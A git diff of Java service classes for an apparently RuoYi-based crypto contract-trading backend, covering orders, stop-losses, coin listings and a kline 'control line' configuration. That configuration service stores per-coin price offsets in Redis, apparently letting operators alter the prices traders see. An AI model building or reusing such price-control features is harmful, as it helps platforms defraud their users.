redisCache.setCacheObject("con-"+coin,tBotKlineModelVO.getConPrice()+","+tBotKlineModel.getBeginTime().getTime()); + }else{ + String[] split = cacheObject.split(","); + redisCache.setCacheObject("con-"+coin,tBotKlineModelVO.getConPrice().add(new BigDecimal(split[0]))+","+split[1]); + } + tBotKlineModelMapper.insertTBotKlineModel(tBotKlineModel); + }else { + tBotKlineModelMapper.insertTBotKlineModel(tBotKlineModel); + List botInfoList = tBotKlineModelVO.getBotInfoList(); + if(botInfoList!=null&&botInfoList.size()>0){ + for (TBotKlineModelInfo tBotKlineModelInfo: botInfoList) { + tBotKlineModelInfo.setModelId(tBotKlineModel.getId()); + } + botKlineModelInfoMapper.insertModelInfo(botInfoList); + } + } + + return 1; + } + + /** + * 修改控线配置 + * + * @param tBotKlineModelVO + * @return 结果 + */ + @Override + public int updateTBotKlineModel(TBotKlineModelVO tBotKlineModelVO) + { TBotKlineModel tBotKlineModel = new TBotKlineModel(); + BeanUtil.copyProperties(tBotKlineModelVO,tBotKlineModel); + tBotKlineModel.setUpdateTime(DateUtils.getNowDate()); + if(tBotKlineModelVO.getModel()==0){ + //跟随型 直接更新交易对 和缓存 + tBotKlineModelVO.setBeginTime(new Date()); + redisCache.setCacheObject("con-"+tBotKlineModelVO.getSymbol().replace("usdt",""),tBotKlineModelVO.getConPrice()+","+tBotKlineModelVO.getBeginTime().getTime()); + } + List botInfoList = tBotKlineModelVO.getBotInfoList(); + if(botInfoList!=null&&botInfoList.size()>0){ + for (TBotKlineModelInfo tBotKlineModelInfo: botInfoList) { + tBotKlineModelInfo.setModelId(tBotKlineModel.getId()); + } + TBotKlineModelInfo tBotKlineModelInfoa = new TBotKlineModelInfo(); + tBotKlineModelInfoa.setModelId(tBotKlineModelVO.getId()); + List tBotKlineModelInfos = botKlineModelInfoMapper.selectTBotKlineModelInfoList(tBotKlineModelInfoa); + for (TBotKlineModelInfo a: tBotKlineModelInfos) { + botKlineModelInfoMapper.deleteTBotKlineModelInfoById(a.getId()); + } + botKlineModelInfoMapper.insertModelInfo(botInfoList); + } + + return tBotKlineModelMapper.updateTBotKlineModel(tBotKlineModel); + } + + @Override + public int updateByid(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.updateTBotKlineModel(tBotKlineModel); + } + + /** + * 批量删除控线配置 + * + * @param ids 需要删除的控线配置主键 + * @return 结果 + */ + @Override + public int deleteTBotKlineModelByIds(Long[] ids) + { + for (Long id: ids ) { + TBotKlineModel tBotKlineModel = tBotKlineModelMapper.selectTBotKlineModelById(id); + if(tBotKlineModel.getModel()==0){ + //跟随型 直接更新交易对 和缓存 + String coin = tBotKlineModel.getSymbol().replace("usdt", ""); + //存入增加价格。 + //跟随型 直接更新交易对 和缓存 + String cacheObject = redisCache.getCacheObject("con-" + coin); + if(cacheObject==null){ + redisCache.deleteObject("con-"+coin); + }else{ + String[] split = cacheObject.split(","); + BigDecimal subtract = new BigDecimal(split[0]).subtract(tBotKlineModel.getConPrice()); + if(subtract.compareTo(BigDecimal.ZERO)!=0){ + redisCache.setCacheObject("con-"+coin,subtract+","+split[1]); + }else { + redisCache.deleteObject("con-"+coin); + } + } + } + } + for ( Long id: ids) { + TBotKlineModelInfo tBotKlineModelInfoa = new TBotKlineModelInfo(); + tBotKlineModelInfoa.setModelId(id); + List tBotKlineModelInfos = botKlineModelInfoMapper.selectTBotKlineModelInfoList(tBotKlineModelInfoa); + if(tBotKlineModelInfos!=null&&tBotKlineModelInfos.size()>0){ + for (TBotKlineModelInfo a: tBotKlineModelInfos) { + botKlineModelInfoMapper.deleteTBotKlineModelInfoById(a.getId()); + } + } + } + + return tBotKlineModelMapper.deleteTBotKlineModelByIds(ids); + } + + /** + * 删除控线配置信息 + * + * @param id 控线配置主键 + * @return 结果 + */ + @Override + public int deleteTBotKlineModelById(Long id) + { + + return tBotKlineModelMapper.deleteTBotKlineModelById(id); + } + + @Override + public List getBotModelListByTime(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.getBotModelListByTime(tBotKlineModel); + } + + @Override + public List getBotModelPriceByTime(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.getBotModelPriceByTime(tBotKlineModel); + } + + @Override + public List getBotModelListBeforTime(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.getBotModelListBeforTime( tBotKlineModel); + } + + @Override + public List getBotModelListBySymbol(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.getBotModelListBySymbol(tBotKlineModel); + } + + @Override + public HashMap getyesterdayPrice() { + List symbolPrices = tBotKlineModelMapper.getyesterdayPrice(); + HashMap c =new HashMap<>(); + for (SymbolPrice symbolPrice:symbolPrices) { + c.put(symbolPrice.getSymbol(),symbolPrice.getPrice()); + } + return c; + } + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCollectionOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCollectionOrderServiceImpl.java new file mode 100644 index 0000000..5c329ba --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCollectionOrderServiceImpl.java @@ -0,0 +1,120 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.common.utils.DateUtils; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TCollectionOrderMapper; +import com.ruoyi.bussiness.domain.TCollectionOrder; +import com.ruoyi.bussiness.service.ITCollectionOrderService; + +import javax.annotation.Resource; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-09-08 + */ +@Service +public class TCollectionOrderServiceImpl extends ServiceImpl implements ITCollectionOrderService +{ + @Resource + private TCollectionOrderMapper tCollectionOrderMapper; + + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TCollectionOrder selectTCollectionOrderById(Long id) + { + return tCollectionOrderMapper.selectTCollectionOrderById(id); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List selectTCollectionOrderList(TCollectionOrder tCollectionOrder) + { + return tCollectionOrderMapper.selectTCollectionOrderList(tCollectionOrder); + } + + /** + * 新增【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTCollectionOrder(TCollectionOrder tCollectionOrder) + { + tCollectionOrder.setCreateTime(DateUtils.getNowDate()); + return tCollectionOrderMapper.insertTCollectionOrder(tCollectionOrder); + } + + /** + * 修改【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTCollectionOrder(TCollectionOrder tCollectionOrder) + { + tCollectionOrder.setUpdateTime(DateUtils.getNowDate()); + return tCollectionOrderMapper.updateTCollectionOrder(tCollectionOrder); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTCollectionOrderByIds(Long[] ids) + { + return tCollectionOrderMapper.deleteTCollectionOrderByIds(ids); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTCollectionOrderById(Long id) + { + return tCollectionOrderMapper.deleteTCollectionOrderById(id); + } + + @Override + public BigDecimal selectCollectionAmountByUserId(Long userId) { + return tCollectionOrderMapper.selectCollectionAmountByUserId(userId); + } + + @Override + public BigDecimal selectCollectionAmountByAgencyId(Long agencyId) { + return tCollectionOrderMapper.selectCollectionAmountByAgencyId(agencyId); + } + + @Override + public BigDecimal selectCollectionAmountDetail(Long appUserId, String adminParentIds) { + return tCollectionOrderMapper.selectCollectionAmountDetail(appUserId,adminParentIds); + } + + @Override + public BigDecimal getDayCollectionAmount(String beginTime, String endTime) { + return tCollectionOrderMapper.getDayCollectionAmount(beginTime,endTime); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractCoinServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractCoinServiceImpl.java new file mode 100644 index 0000000..e27e8e1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractCoinServiceImpl.java @@ -0,0 +1,174 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TContractCoinMapper; +import com.ruoyi.bussiness.mapper.TUserCoinMapper; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.socket.service.MarketThread; +import org.apache.commons.lang3.ObjectUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.util.Comparator; +import java.util.HashMap; +import java.util.List; +import java.util.stream.Collectors; + +/** + * U本位合约币种Service业务层处理 + * + * @author michael + * @date 2023-07-20 + */ +@Service +public class TContractCoinServiceImpl extends ServiceImpl implements ITContractCoinService { + @Resource + private TContractCoinMapper tContractCoinMapper; + @Resource + private TUserCoinMapper userCoinMapper; + + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + private ITOwnCoinService itOwnCoinService; + + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + /** + * 查询U本位合约币种 + * + * @param id U本位合约币种主键 + * @return U本位合约币种 + */ + @Override + public TContractCoin selectTContractCoinById(Long id) { + return tContractCoinMapper.selectTContractCoinById(id); + } + + /** + * 查询U本位合约币种列表 + * + * @param tContractCoin U本位合约币种 + * @return U本位合约币种 + */ + @Override + public List selectTContractCoinList(TContractCoin tContractCoin) { + return tContractCoinMapper.selectTContractCoinList(tContractCoin); + } + + /** + * 新增U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + @Override + public int insertTContractCoin(TContractCoin tContractCoin) { + tContractCoin.setSymbol(tContractCoin.getSymbol().toLowerCase()); + tContractCoin.setCreateTime(DateUtils.getNowDate()); + int count = tContractCoinMapper.selectCount(new LambdaQueryWrapper().eq(TContractCoin::getCoin, tContractCoin.getCoin().toLowerCase())); + if (count > 0) { + return 10001; + }else { + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setSlug(tContractCoin.getCoin().toLowerCase()); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(klineSymbol); + if (klineSymbols.size() > 0) { + tContractCoin.setLogo(klineSymbols.get(0).getLogo()); + } + if (!"mt5".equals(tContractCoin.getMarket())) { + tContractCoin.setCoin(tContractCoin.getCoin().toLowerCase()); + } + if(tContractCoin.getMarket().equals("echo")){ + KlineSymbol kSymbol = klineSymbolMapper.selectOne(new LambdaQueryWrapper().eq(KlineSymbol::getMarket, tContractCoin.getMarket()).eq(KlineSymbol::getSymbol, tContractCoin.getCoin().toLowerCase())); + tContractCoin.setLogo(kSymbol.getLogo()); + } + HashMap object = new HashMap<>(); + object.put("add_coin", tContractCoin.getCoin()); + redisUtil.addStream(redisStreamNames, object); + return tContractCoinMapper.insertTContractCoin(tContractCoin); + } + } + + /** + * 修改U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + @Override + public int updateTContractCoin(TContractCoin tContractCoin) { + tContractCoin.setUpdateTime(DateUtils.getNowDate()); + return tContractCoinMapper.updateTContractCoin(tContractCoin); + } + + /** + * 批量删除U本位合约币种 + * + * @param ids 需要删除的U本位合约币种主键 + * @return 结果 + */ + @Override + public int deleteTContractCoinByIds(Long[] ids) { + return tContractCoinMapper.deleteTContractCoinByIds(ids); + } + + /** + * 删除U本位合约币种信息 + * + * @param id U本位合约币种主键 + * @return 结果 + */ + @Override + public int deleteTContractCoinById(Long id) { + return tContractCoinMapper.deleteTContractCoinById(id); + } + + @Override + public TContractCoin selectContractCoinBySymbol(String symbol) { + return tContractCoinMapper.selectOne(new LambdaQueryWrapper().eq(TContractCoin::getCoin, symbol)); + } + + @Override + public List getCoinList() { + TContractCoin tContractCoin = new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setVisible(0L); + List list = tContractCoinMapper.selectTContractCoinList(tContractCoin); + list =list.stream().sorted(Comparator.comparing(TContractCoin::getSort)).collect(Collectors.toList()); + for (TContractCoin tContractCoin1: list) { + String logo = tContractCoin1.getLogo(); + if(logo.contains("echo-res")){ + tContractCoin1.setLogo(logo); + }else { + tContractCoin1.setLogo(" https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui"+ logo.substring(logo.lastIndexOf("/"),logo.length())); + } + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper(); + queryWrapper.eq(TUserCoin::getCoin, tContractCoin1.getCoin().toLowerCase()); + if(StpUtil.isLogin()){ + queryWrapper.eq(TUserCoin::getUserId, StpUtil.getLoginIdAsLong()); + TUserCoin userCoin = userCoinMapper.selectOne(queryWrapper); + if(ObjectUtils.isNotEmpty(userCoin)){ + tContractCoin1.setIsCollect(1); + }else { + tContractCoin1.setIsCollect(2); + } + } + } + return list; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractLossServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractLossServiceImpl.java new file mode 100644 index 0000000..a8558a8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractLossServiceImpl.java @@ -0,0 +1,195 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TContractOrder; +import com.ruoyi.bussiness.domain.TContractPosition; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITContractPositionService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TContractLossMapper; +import com.ruoyi.bussiness.domain.TContractLoss; +import com.ruoyi.bussiness.service.ITContractLossService; + +import javax.annotation.Resource; + +/** + * 止盈止损表Service业务层处理 + * + * @author ruoyi + * @date 2023-07-25 + */ +@Service +public class TContractLossServiceImpl extends ServiceImpl implements ITContractLossService { + @Autowired + private TContractLossMapper tContractLossMapper; + + @Autowired + private ITContractPositionService contractPositionService; + + @Resource + private RedisCache redisCache; + @Resource + private ITContractCoinService contractCoinService; + + /** + * 查询止盈止损表 + * + * @param id 止盈止损表主键 + * @return 止盈止损表 + */ + @Override + public TContractLoss selectTContractLossById(Long id) { + return tContractLossMapper.selectTContractLossById(id); + } + + /** + * 查询止盈止损表列表 + * + * @param tContractLoss 止盈止损表 + * @return 止盈止损表 + */ + @Override + public List selectTContractLossList(TContractLoss tContractLoss) { + return tContractLossMapper.selectTContractLossList(tContractLoss); + } + + /** + * 新增止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + @Override + public int insertTContractLoss(TContractLoss tContractLoss) { + tContractLoss.setCreateTime(DateUtils.getNowDate()); + return tContractLossMapper.insertTContractLoss(tContractLoss); + } + + /** + * 修改止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + @Override + public int updateTContractLoss(TContractLoss tContractLoss) { + tContractLoss.setUpdateTime(DateUtils.getNowDate()); + return tContractLossMapper.updateTContractLoss(tContractLoss); + } + + /** + * 批量删除止盈止损表 + * + * @param ids 需要删除的止盈止损表主键 + * @return 结果 + */ + @Override + public int deleteTContractLossByIds(Long[] ids) { + return tContractLossMapper.deleteTContractLossByIds(ids); + } + + /** + * 删除止盈止损表信息 + * + * @param id 止盈止损表主键 + * @return 结果 + */ + @Override + public int deleteTContractLossById(Long id) { + return tContractLossMapper.deleteTContractLossById(id); + } + + /** + * 设置止盈止损 + * + * @param id + * @param contractLoss + * @return + */ + @Override + public String cntractLossSett( TContractLoss contractLoss) { + + //仓位 + TContractPosition contractPosition = contractPositionService.selectTContractPositionById(contractLoss.getPositionId()); + //购买类型 0 买多 1卖空 + Integer type = contractPosition.getType(); + + BigDecimal earnPrice = contractLoss.getEarnPrice(); + + BigDecimal lossPrice = contractLoss.getLosePrice(); + + BigDecimal earnNum = contractLoss.getEarnNumber(); + + BigDecimal lossNum = contractLoss.getLoseNumber(); + + BigDecimal num = contractPosition.getOpenNum(); + + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol()); + + BigDecimal openPrice = contractPosition.getOpenPrice(); + //市价1 0限价 + Integer deleGateType = contractLoss.getDelegateType(); + if (1 == deleGateType) { + if (Objects.nonNull(earnPrice)) { + contractLoss.setEarnDelegatePrice(currentlyPrice); + } + if (Objects.nonNull(lossPrice)) { + contractLoss.setLoseDelegatePrice(currentlyPrice); + } + } + if (type == 0) { + if (Objects.nonNull(earnPrice) && earnPrice.compareTo(openPrice) < 0) { + return MessageUtils.message("contract.buy.earn.error"); + } + if (Objects.nonNull(lossPrice) && lossPrice.compareTo(openPrice) > 0) { + return MessageUtils.message("contract.buy.loss.error"); + } + } else if (type == 1) { + if (Objects.nonNull(earnPrice) && earnPrice.compareTo(openPrice) > 0) { + return MessageUtils.message("contract.sell.earn.error"); + } + if ((Objects.nonNull(lossPrice) && lossPrice.compareTo(openPrice) < 0)) { + return MessageUtils.message("contract.sell.loss.error"); + } + } + if ((Objects.nonNull(earnNum) && earnNum.compareTo(num) > 0)) { + return MessageUtils.message("contract.num.limit"); + } + if ((Objects.nonNull(lossNum) && lossNum.compareTo(num) > 0)) { + return MessageUtils.message("contract.num.limit"); + } + contractLoss.setCreateTime(new Date()); + contractLoss.setStatus(0); + contractLoss.setPositionId(contractPosition.getId()); + contractLoss.setUserId(contractPosition.getUserId()); + contractLoss.setType(contractPosition.getType()); + contractLoss.setSymbol(contractPosition.getSymbol()); + contractLoss.setLeverage(contractPosition.getLeverage()); + if (Objects.nonNull(earnNum)) { + contractLoss.setEarnNumber(earnNum); + } + if (Objects.nonNull(lossNum)) { + contractLoss.setLoseNumber(lossNum); + } + tContractLossMapper.insertTContractLoss(contractLoss); + return "success"; + } + + @Override + public void updateContractLoss(Long positionId) { + tContractLossMapper.updateContractLoss(positionId); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractOrderServiceImpl.java new file mode 100644 index 0000000..fda3d96 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractOrderServiceImpl.java @@ -0,0 +1,327 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TContractOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +/** + * U本位委托Service业务层处理 + * + * @author michael + * @date 2023-07-20 + */ +@Service +@Slf4j +public class TContractOrderServiceImpl extends ServiceImpl implements ITContractOrderService { + @Resource + private TContractOrderMapper tContractOrderMapper; + + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITContractPositionService contractPositionService; + + @Resource + private ITAppAssetService appAssetService; + + @Resource + private ITAppWalletRecordService appWalletRecordService; + + @Resource + private ITAppUserService appUserService; + + @Resource + private RedisCache redisCache; + @Resource + private SettingService settingService; + + /** + * 查询U本位委托 + * + * @param id U本位委托主键 + * @return U本位委托 + */ + @Override + public TContractOrder selectTContractOrderById(Long id) { + return tContractOrderMapper.selectTContractOrderById(id); + } + + /** + * 查询U本位委托列表 + * + * @param tContractOrder U本位委托 + * @return U本位委托 + */ + @Override + public List selectTContractOrderList(TContractOrder tContractOrder) { + return tContractOrderMapper.selectTContractOrderList(tContractOrder); + } + + /** + * 新增U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + @Override + public int insertTContractOrder(TContractOrder tContractOrder) { + tContractOrder.setCreateTime(DateUtils.getNowDate()); + return tContractOrderMapper.insertTContractOrder(tContractOrder); + } + + /** + * 修改U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + @Override + public int updateTContractOrder(TContractOrder tContractOrder) { + tContractOrder.setUpdateTime(DateUtils.getNowDate()); + return tContractOrderMapper.updateTContractOrder(tContractOrder); + } + + /** + * 批量删除U本位委托 + * + * @param ids 需要删除的U本位委托主键 + * @return 结果 + */ + @Override + public int deleteTContractOrderByIds(Long[] ids) { + return tContractOrderMapper.deleteTContractOrderByIds(ids); + } + + /** + * 删除U本位委托信息 + * + * @param id U本位委托主键 + * @return 结果 + */ + @Override + public int deleteTContractOrderById(Long id) { + return tContractOrderMapper.deleteTContractOrderById(id); + } + + /** + * @param symbol + * @param leverage + * @param delegatePrice + * @param delegateTotal + * @param userId + * @param type + * @param delegateType + * @return + */ + @Override + public String buyContractOrder(String symbol, BigDecimal leverage, BigDecimal delegatePrice, BigDecimal delegateTotal, Long userId, Integer type, Integer delegateType) { + if(delegateType==1){ + log.info("前端传入实时价格"+delegatePrice); + delegatePrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + log.info("获取实时价格"+delegatePrice); + } + //校验 + String result=verifySubmit(symbol, leverage, delegatePrice, delegateTotal, userId.longValue()); + if (!"success".equals(result)) { + return result; + } + String serialId = "U" + OrderUtils.generateOrderNum(); + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symbol); + TAppUser user = appUserService.selectTAppUserByUserId(userId); + TAppAsset tAppAsset = appAssetService.getAssetByUserIdAndType(userId, AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal beforeMount = tAppAsset.getAvailableAmount(); + BigDecimal shareNumber = tContractCoin.getShareNumber(); + BigDecimal num = shareNumber.multiply(delegateTotal); + BigDecimal amount = ContractComputerUtil.getAmount(delegatePrice, num, leverage); + BigDecimal openFee = tContractCoin.getOpenFee().multiply(amount).setScale(6, RoundingMode.HALF_UP); + + BigDecimal closePrice = ContractComputerUtil.getStrongPrice(leverage, type, delegatePrice, num, amount,openFee); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + //市价 + if (delegateType == 1) { + //扣除金额 + tAppAsset.setAmout(tAppAsset.getAmout().subtract(amount)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().subtract(amount)); + createPosition(symbol, delegatePrice, closePrice, amount, num, leverage, type, delegateType, openFee, userId, serialId,user.getAdminParentIds(),0); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(userId, amount, RecordEnum.CONTRACT_TRANSACTIONSUB.getCode(), user.getLoginName(), serialId, "合约交易", beforeMount, beforeMount.subtract(amount), tContractCoin.getBaseCoin().toLowerCase(),user.getAdminParentIds()); + }else{ + if (comparePrice(type, currentlyPrice, delegatePrice)) { + //扣除金额 + amount=ContractComputerUtil.getAmount(currentlyPrice, num, leverage); + openFee=tContractCoin.getOpenFee().multiply(amount).setScale(6, RoundingMode.HALF_UP); + closePrice = ContractComputerUtil.getStrongPrice(leverage, type, currentlyPrice, num, amount, openFee); + tAppAsset.setAmout(tAppAsset.getAmout().subtract(amount)); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().subtract(amount)); + createPosition(symbol, currentlyPrice, closePrice, amount, num, leverage, type, delegateType, openFee, userId, serialId, user.getAdminParentIds(),0); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(userId, amount, RecordEnum.CONTRACT_TRANSACTIONSUB.getCode(), user.getLoginName(), serialId, "合约交易", beforeMount, beforeMount.subtract(amount), tContractCoin.getBaseCoin().toLowerCase(),user.getAdminParentIds()); + }else { + createContractOrder(symbol,delegatePrice,amount,num,leverage,type,delegateType,openFee,userId,serialId,user.getAdminParentIds()); + } + } + return "success"; + } + + /** + * @param symbol + * @param leverage + * @param delegatePrice + * @param delegateTotal + * @param userId + * @return + */ + @Override + public String verifySubmit(String symbol, BigDecimal leverage, BigDecimal delegatePrice, BigDecimal delegateTotal, Long userId) { + + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symbol); + BigDecimal shareNumber = tContractCoin.getShareNumber(); + BigDecimal minShare = tContractCoin.getMinShare(); + BigDecimal maxShare = tContractCoin.getMaxShare(); + BigDecimal num = shareNumber.multiply(delegateTotal); + //合约账户 + TAppAsset tAppAsset = appAssetService.getAssetByUserIdAndType(userId, AssetEnum.CONTRACT_ASSETS.getCode()); + if (Objects.isNull(tAppAsset)) { + return MessageUtils.message("contract.accont.error"); + } + BigDecimal availableAmount = tAppAsset.getAvailableAmount(); + BigDecimal amount = ContractComputerUtil.getAmount(delegatePrice, num, leverage); + //判断余额 + if (amount.compareTo(availableAmount) > 0) { + return MessageUtils.message("contract.accont.error"); + } + if (delegateTotal.compareTo(minShare) < 0) { + return MessageUtils.message("contract.min.share",minShare); + } + if (delegateTotal.compareTo(maxShare) > 0) { + return MessageUtils.message("contract.max.share",maxShare); + } + return "success"; + } + + /** + * @param id + * @return + */ + @Override + public String canCelOrder(Long id) { + + TContractOrder tContractOrder = tContractOrderMapper.selectOne(new LambdaQueryWrapper() + .eq(TContractOrder::getId,id).eq(TContractOrder::getUserId,StpUtil.getLoginIdAsLong()) + .eq(TContractOrder::getStatus,0)); + if(tContractOrder == null){ + return MessageUtils.message("order.status.error"); + } + +// if(tContractOrder.getStatus()==3){ +// return MessageUtils.message("order.status.error"); +// } + + TAppAsset tAppAsset = appAssetService.getAssetByUserIdAndType(tContractOrder.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(tContractOrder.getDelegateValue())); + tAppAsset.setOccupiedAmount(tAppAsset.getOccupiedAmount().subtract(tContractOrder.getDelegateValue())); + appAssetService.updateTAppAsset(tAppAsset); + tContractOrder.setStatus(3); + tContractOrderMapper.updateTContractOrder(tContractOrder); + return "success"; + } + + //创建仓位对象 + private TContractPosition createPosition(String symbol, BigDecimal openPrice, BigDecimal closePrice, BigDecimal amount, BigDecimal num, BigDecimal level, Integer type, Integer delegateType, BigDecimal openFee, Long uerId, String serialId, String adminParentIds,Integer deliveryDays) { + TContractPosition tContractPosition = new TContractPosition(); + BigDecimal bigDecimal = amount.subtract(openFee); + tContractPosition.setSymbol(symbol); + tContractPosition.setAmount(bigDecimal); + tContractPosition.setAdjustAmount(bigDecimal); + tContractPosition.setLeverage(level); + tContractPosition.setClosePrice(closePrice); + tContractPosition.setOpenNum(num); + tContractPosition.setOpenPrice(openPrice); + tContractPosition.setOpenFee(openFee); + tContractPosition.setStatus(0); + tContractPosition.setType(type); + tContractPosition.setDelegateType(delegateType); + tContractPosition.setCreateTime(new Date()); + tContractPosition.setRemainMargin(bigDecimal); + tContractPosition.setOrderNo(serialId); + tContractPosition.setUserId(uerId); + tContractPosition.setEntrustmentValue(openPrice.multiply(num).setScale(6,RoundingMode.HALF_UP)); + tContractPosition.setAdminParentIds(adminParentIds); + tContractPosition.setDeliveryDays(0); + tContractPosition.setSubTime(new Date()); + contractPositionService.save(tContractPosition); + + //u本位打码 + TAppUser tAppUser = appUserService.getById(uerId); + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getContractIsOpen()) && addMosaic.getContractIsOpen()){ + tAppUser.setTotleAmont(tAppUser.getTotleAmont().add(tContractPosition.getAmount())); + appUserService.updateTotleAmont(tAppUser); + } + } + + return tContractPosition; + } + //创建委托对象 + private void createContractOrder(String symbol, BigDecimal openPrice, BigDecimal amount, BigDecimal num, BigDecimal level, Integer type, Integer delegateType, BigDecimal openFee, Long uerId, String serialId, 